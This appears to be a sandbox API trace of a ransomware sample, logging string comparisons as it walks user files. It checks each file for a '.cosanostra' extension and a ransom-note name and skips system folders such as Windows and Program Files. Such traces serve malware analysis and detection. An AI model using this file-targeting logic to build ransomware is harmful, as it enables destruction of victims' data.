[0087.880] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.880] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.880] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.880] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0087.880] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.916] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0087.916] lstrcmpiW (lpString1="fwlink[1]", lpString2="Windows") returned -1 [0087.916] lstrlenW (lpString="Windows") returned 7 [0087.917] lstrcmpiW (lpString1="fwlink[1]", lpString2="Program Files") returned -1 [0087.917] lstrlenW (lpString="Program Files") returned 13 [0087.917] lstrcmpiW (lpString1="fwlink[1]", lpString2="Program Files (x86)") returned -1 [0087.917] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.917] lstrcmpiW (lpString1="fwlink[1]", lpString2="$Recycle.bin") returned 1 [0087.917] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.917] lstrcmpiW (lpString1="fwlink[1]", lpString2="System Volume Information") returned -1 [0087.917] lstrlenW (lpString="System Volume Information") returned 25 [0087.917] StrStrIW (lpFirst="fwlink[1]", lpSrch=".cosanostra") returned 0x0 [0087.917] lstrcmpW (lpString1="fwlink[1]", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.917] lstrcmpW (lpString1="fwlink[1]", lpString2="_uninstalling_.png") returned 1 [0087.917] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2="Windows") returned -1 [0087.917] lstrlenW (lpString="Windows") returned 7 [0087.917] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2="Program Files") returned -1 [0087.917] lstrlenW (lpString="Program Files") returned 13 [0087.917] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2="Program Files (x86)") returned -1 [0087.917] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.917] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2="$Recycle.bin") returned 1 [0087.917] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.917] lstrcmpiW (lpString1="ieonline.microsoft[1]", lpString2="System Volume Information") returned -1 [0087.917] lstrlenW (lpString="System Volume Information") returned 25 [0087.918] lstrcmpiW (lpString1="FORMS", lpString2="Windows") returned -1 [0087.919] lstrlenW (lpString="Windows") returned 7 [0087.919] lstrcmpiW (lpString1="FORMS", lpString2="Program Files") returned -1 [0087.919] lstrlenW (lpString="Program Files") returned 13 [0087.919] lstrcmpiW (lpString1="FORMS", lpString2="Program Files (x86)") returned -1 [0087.919] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.919] lstrcmpiW (lpString1="FORMS", lpString2="$Recycle.bin") returned 1 [0087.919] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.919] lstrcmpiW (lpString1="FORMS", lpString2="System Volume Information") returned -1 [0087.919] lstrlenW (lpString="System Volume Information") returned 25 [0087.919] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0087.919] lstrlenW (lpString="Windows") returned 7 [0087.919] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0087.919] lstrlenW (lpString="Program Files") returned 13 [0087.919] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0087.919] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.919] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0087.919] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.919] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0087.919] lstrlenW (lpString="System Volume Information") returned 25 [0087.919] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0087.919] lstrlenW (lpString="Windows") returned 7 [0087.919] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0087.920] lstrlenW (lpString="Program Files") returned 13 [0087.920] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0087.920] lstrlenW (lpString="Program Files (x86)") returned 19 [0087.920] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0087.920] lstrlenW (lpString="$Recycle.bin") returned 12 [0087.920] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0087.920] lstrlenW (lpString="System Volume Information") returned 25 [0087.920] StrStrIW (lpFirst="FRMCACHE.DAT", lpSrch=".cosanostra") returned 0x0 [0087.920] lstrcmpW (lpString1="FRMCACHE.DAT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.920] lstrcmpW (lpString1="FRMCACHE.DAT", lpString2="_uninstalling_.png") returned 1 [0087.963] StrStrIW (lpFirst="brndlog.bak", lpSrch=".cosanostra") returned 0x0 [0087.963] lstrcmpW (lpString1="brndlog.bak", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.963] lstrcmpW (lpString1="brndlog.bak", lpString2="_uninstalling_.png") returned 1 [0087.963] StrStrIW (lpFirst="brndlog.txt", lpSrch=".cosanostra") returned 0x0 [0087.963] lstrcmpW (lpString1="brndlog.txt", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.963] lstrcmpW (lpString1="brndlog.txt", lpString2="_uninstalling_.png") returned 1 [0087.964] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.964] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.964] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.964] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.964] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.965] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.965] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.965] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.965] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.965] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.965] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.965] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.965] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.965] StrStrIW (lpFirst="get.adobe[1].xml", lpSrch=".cosanostra") returned 0x0 [0087.965] lstrcmpW (lpString1="get.adobe[1].xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.965] lstrcmpW (lpString1="get.adobe[1].xml", lpString2="_uninstalling_.png") returned 1 [0087.966] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.966] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.966] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.966] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.966] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.966] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.966] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0087.966] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.966] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0087.982] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0087.982] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.982] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0087.982] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0087.982] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.982] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0087.985] StrStrIW (lpFirst="frameiconcache.dat", lpSrch=".cosanostra") returned 0x0 [0087.985] lstrcmpW (lpString1="frameiconcache.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.985] lstrcmpW (lpString1="frameiconcache.dat", lpString2="_uninstalling_.png") returned 1 [0087.986] StrStrIW (lpFirst="MSIMGSIZ.DAT", lpSrch=".cosanostra") returned 0x0 [0087.986] lstrcmpW (lpString1="MSIMGSIZ.DAT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.986] lstrcmpW (lpString1="MSIMGSIZ.DAT", lpString2="_uninstalling_.png") returned 1 [0088.025] StrStrIW (lpFirst="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".cosanostra") returned 0x0 [0088.025] lstrcmpW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.025] lstrcmpW (lpString1="RecoveryStore.{4BD650F1-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="_uninstalling_.png") returned 1 [0088.025] StrStrIW (lpFirst="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpSrch=".cosanostra") returned 0x0 [0088.025] lstrcmpW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.025] lstrcmpW (lpString1="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpString2="_uninstalling_.png") returned 1 [0088.025] StrStrIW (lpFirst="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".cosanostra") returned 0x0 [0088.025] lstrcmpW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.025] lstrcmpW (lpString1="{4BD650F0-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="_uninstalling_.png") returned 1 [0088.025] StrStrIW (lpFirst="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".cosanostra") returned 0x0 [0088.025] lstrcmpW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.026] lstrcmpW (lpString1="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpString2="_uninstalling_.png") returned 1 [0088.037] StrStrIW (lpFirst="CurrentDatabase_372.wmdb", lpSrch=".cosanostra") returned 0x0 [0088.037] lstrcmpW (lpString1="CurrentDatabase_372.wmdb", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.037] lstrcmpW (lpString1="CurrentDatabase_372.wmdb", lpString2="_uninstalling_.png") returned 1 [0088.037] StrStrIW (lpFirst="LocalMLS_3.wmdb", lpSrch=".cosanostra") returned 0x0 [0088.037] lstrcmpW (lpString1="LocalMLS_3.wmdb", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.037] lstrcmpW (lpString1="LocalMLS_3.wmdb", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.081] StrStrIW (lpFirst="09_Music_played_the_most.wpl", lpSrch=".cosanostra") returned 0x0 [0088.081] lstrcmpW (lpString1="09_Music_played_the_most.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.081] lstrcmpW (lpString1="09_Music_played_the_most.wpl", lpString2="_uninstalling_.png") returned 1 [0088.082] StrStrIW (lpFirst="10_All_Music.wpl", lpSrch=".cosanostra") returned 0x0 [0088.082] lstrcmpW (lpString1="10_All_Music.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.082] lstrcmpW (lpString1="10_All_Music.wpl", lpString2="_uninstalling_.png") returned 1 [0088.082] StrStrIW (lpFirst="11_All_Pictures.wpl", lpSrch=".cosanostra") returned 0x0 [0088.082] lstrcmpW (lpString1="11_All_Pictures.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.082] lstrcmpW (lpString1="11_All_Pictures.wpl", lpString2="_uninstalling_.png") returned 1 [0088.082] StrStrIW (lpFirst="12_All_Video.wpl", lpSrch=".cosanostra") returned 0x0 [0088.082] lstrcmpW (lpString1="12_All_Video.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.082] lstrcmpW (lpString1="12_All_Video.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="01_Music_auto_rated_at_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="02_Music_added_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="03_Music_rated_at_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="03_Music_rated_at_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="04_Music_played_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="05_Pictures_taken_in_the_last_month.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="05_Pictures_taken_in_the_last_month.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="06_Pictures_rated_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="07_TV_recorded_in_the_last_week.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="07_TV_recorded_in_the_last_week.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="08_Video_rated_at_4_or_5_stars.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="08_Video_rated_at_4_or_5_stars.wpl", lpString2="_uninstalling_.png") returned 1 [0088.095] StrStrIW (lpFirst="09_Music_played_the_most.wpl", lpSrch=".cosanostra") returned 0x0 [0088.095] lstrcmpW (lpString1="09_Music_played_the_most.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.095] lstrcmpW (lpString1="09_Music_played_the_most.wpl", lpString2="_uninstalling_.png") returned 1 [0088.096] StrStrIW (lpFirst="10_All_Music.wpl", lpSrch=".cosanostra") returned 0x0 [0088.096] lstrcmpW (lpString1="10_All_Music.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.096] lstrcmpW (lpString1="10_All_Music.wpl", lpString2="_uninstalling_.png") returned 1 [0088.096] StrStrIW (lpFirst="11_All_Pictures.wpl", lpSrch=".cosanostra") returned 0x0 [0088.096] lstrcmpW (lpString1="11_All_Pictures.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.096] lstrcmpW (lpString1="11_All_Pictures.wpl", lpString2="_uninstalling_.png") returned 1 [0088.096] StrStrIW (lpFirst="12_All_Video.wpl", lpSrch=".cosanostra") returned 0x0 [0088.096] lstrcmpW (lpString1="12_All_Video.wpl", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.096] lstrcmpW (lpString1="12_All_Video.wpl", lpString2="_uninstalling_.png") returned 1 [0088.127] StrStrIW (lpFirst="FSD-CNRY.FSD", lpSrch=".cosanostra") returned 0x0 [0088.127] lstrcmpW (lpString1="FSD-CNRY.FSD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.127] lstrcmpW (lpString1="FSD-CNRY.FSD", lpString2="_uninstalling_.png") returned 1 [0088.127] StrStrIW (lpFirst="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpSrch=".cosanostra") returned 0x0 [0088.127] lstrcmpW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.127] lstrcmpW (lpString1="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", lpString2="_uninstalling_.png") returned 1 [0088.127] StrStrIW (lpFirst="FSF-CTBL.FSF", lpSrch=".cosanostra") returned 0x0 [0088.127] lstrcmpW (lpString1="FSF-CTBL.FSF", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.127] lstrcmpW (lpString1="FSF-CTBL.FSF", lpString2="_uninstalling_.png") returned 1 [0088.128] StrStrIW (lpFirst="350db95df4cbd94b2a1c300510e12e11.sig", lpSrch=".cosanostra") returned 0x0 [0088.128] lstrcmpW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.128] lstrcmpW (lpString1="350db95df4cbd94b2a1c300510e12e11.sig", lpString2="_uninstalling_.png") returned 1 [0088.128] StrStrIW (lpFirst="350db95df4cbd94b2a1c300510e12e11.xml", lpSrch=".cosanostra") returned 0x0 [0088.128] lstrcmpW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.128] lstrcmpW (lpString1="350db95df4cbd94b2a1c300510e12e11.xml", lpString2="_uninstalling_.png") returned 1 [0088.130] StrStrIW (lpFirst="mapisvc.inf", lpSrch=".cosanostra") returned 0x0 [0088.130] lstrcmpW (lpString1="mapisvc.inf", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.130] lstrcmpW (lpString1="mapisvc.inf", lpString2="_uninstalling_.png") returned 1 [0088.130] StrStrIW (lpFirst="Outlook.sharing.xml.obi", lpSrch=".cosanostra") returned 0x0 [0088.130] lstrcmpW (lpString1="Outlook.sharing.xml.obi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.130] lstrcmpW (lpString1="Outlook.sharing.xml.obi", lpString2="_uninstalling_.png") returned 1 [0088.130] StrStrIW (lpFirst="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpSrch=".cosanostra") returned 0x0 [0088.131] lstrcmpW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.131] lstrcmpW (lpString1="Stream_ContactPrefs_2_F230E11936B7D740A008FFC660E83C71.dat", lpString2="_uninstalling_.png") returned 1 [0088.178] StrStrIW (lpFirst="content14.dat", lpSrch=".cosanostra") returned 0x0 [0088.178] lstrcmpW (lpString1="content14.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.178] lstrcmpW (lpString1="content14.dat", lpString2="_uninstalling_.png") returned 1 [0088.178] StrStrIW (lpFirst="thumbs.dat", lpSrch=".cosanostra") returned 0x0 [0088.178] lstrcmpW (lpString1="thumbs.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.178] lstrcmpW (lpString1="thumbs.dat", lpString2="_uninstalling_.png") returned 1 [0088.183] StrStrIW (lpFirst="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpSrch=".cosanostra") returned 0x0 [0088.183] lstrcmpW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.183] lstrcmpW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="_uninstalling_.png") returned 1 [0088.183] StrStrIW (lpFirst="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpSrch=".cosanostra") returned 0x0 [0088.183] lstrcmpW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.183] lstrcmpW (lpString1="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpString2="_uninstalling_.png") returned 1 [0088.183] StrStrIW (lpFirst="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpSrch=".cosanostra") returned 0x0 [0088.183] lstrcmpW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.183] lstrcmpW (lpString1="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpString2="_uninstalling_.png") returned 1 [0088.221] StrStrIW (lpFirst="edb00001.log", lpSrch=".cosanostra") returned 0x0 [0088.221] lstrcmpW (lpString1="edb00001.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.221] lstrcmpW (lpString1="edb00001.log", lpString2="_uninstalling_.png") returned 1 [0088.221] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch=".cosanostra") returned 0x0 [0088.222] lstrcmpW (lpString1="WindowsMail.MSMessageStore", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.222] lstrcmpW (lpString1="WindowsMail.MSMessageStore", lpString2="_uninstalling_.png") returned 1 [0088.222] StrStrIW (lpFirst="WindowsMail.pat", lpSrch=".cosanostra") returned 0x0 [0088.222] lstrcmpW (lpString1="WindowsMail.pat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.222] lstrcmpW (lpString1="WindowsMail.pat", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="edb.chk", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="edb.chk", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="edb.chk", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="edb.log", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="edb.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="edb.log", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="edb00001.log", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="edb00001.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="edb00001.log", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="edbres00001.jrs", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="edbres00001.jrs", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="edbres00001.jrs", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="edbres00002.jrs", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="edbres00002.jrs", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="edbres00002.jrs", lpString2="_uninstalling_.png") returned 1 [0088.224] StrStrIW (lpFirst="oeold.xml", lpSrch=".cosanostra") returned 0x0 [0088.224] lstrcmpW (lpString1="oeold.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.224] lstrcmpW (lpString1="oeold.xml", lpString2="_uninstalling_.png") returned 1 [0088.226] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0088.226] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0088.226] StrStrIW (lpFirst="Bears.htm", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="Bears.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1="Bears.htm", lpString2="_uninstalling_.png") returned 1 [0088.226] StrStrIW (lpFirst="Bears.jpg", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="Bears.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1="Bears.jpg", lpString2="_uninstalling_.png") returned 1 [0088.226] StrStrIW (lpFirst="Desktop.ini", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="Desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1="Desktop.ini", lpString2="_uninstalling_.png") returned 1 [0088.226] StrStrIW (lpFirst="Garden.htm", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="Garden.htm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.226] lstrcmpW (lpString1="Garden.htm", lpString2="_uninstalling_.png") returned 1 [0088.226] StrStrIW (lpFirst="Garden.jpg", lpSrch=".cosanostra") returned 0x0 [0088.226] lstrcmpW (lpString1="Garden.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0088.227] lstrcmpW (lpString1="Garden.jpg", lpString2="_uninstalling_.png") returned 1 